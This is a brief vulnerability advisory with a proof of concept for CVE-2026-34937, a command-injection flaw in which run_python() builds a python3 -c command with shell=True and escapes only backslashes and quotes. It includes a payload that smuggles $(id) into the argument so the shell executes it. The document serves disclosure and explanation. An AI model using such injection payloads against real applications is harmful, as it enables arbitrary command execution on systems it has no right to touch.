CVE-2026-34937

# Proof of Concept for CVE-2026-34937 # The vulnerability is triggered by passing shell command substitution syntax to run_python() # Example payload that executes 'id' command via $() payload = '";$(id);#"' # In a real scenario, this payload is sent to the vulnerable application. # The application constructs: python3 -c "";$(id);#"" # Because shell=True is used, the shell executes $(id) before invoking python. print(f"Injecting payload: {payload}") # Result: OS command 'id' is executed with the privileges of the application.

The escaping logic only handles \\ and \", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.
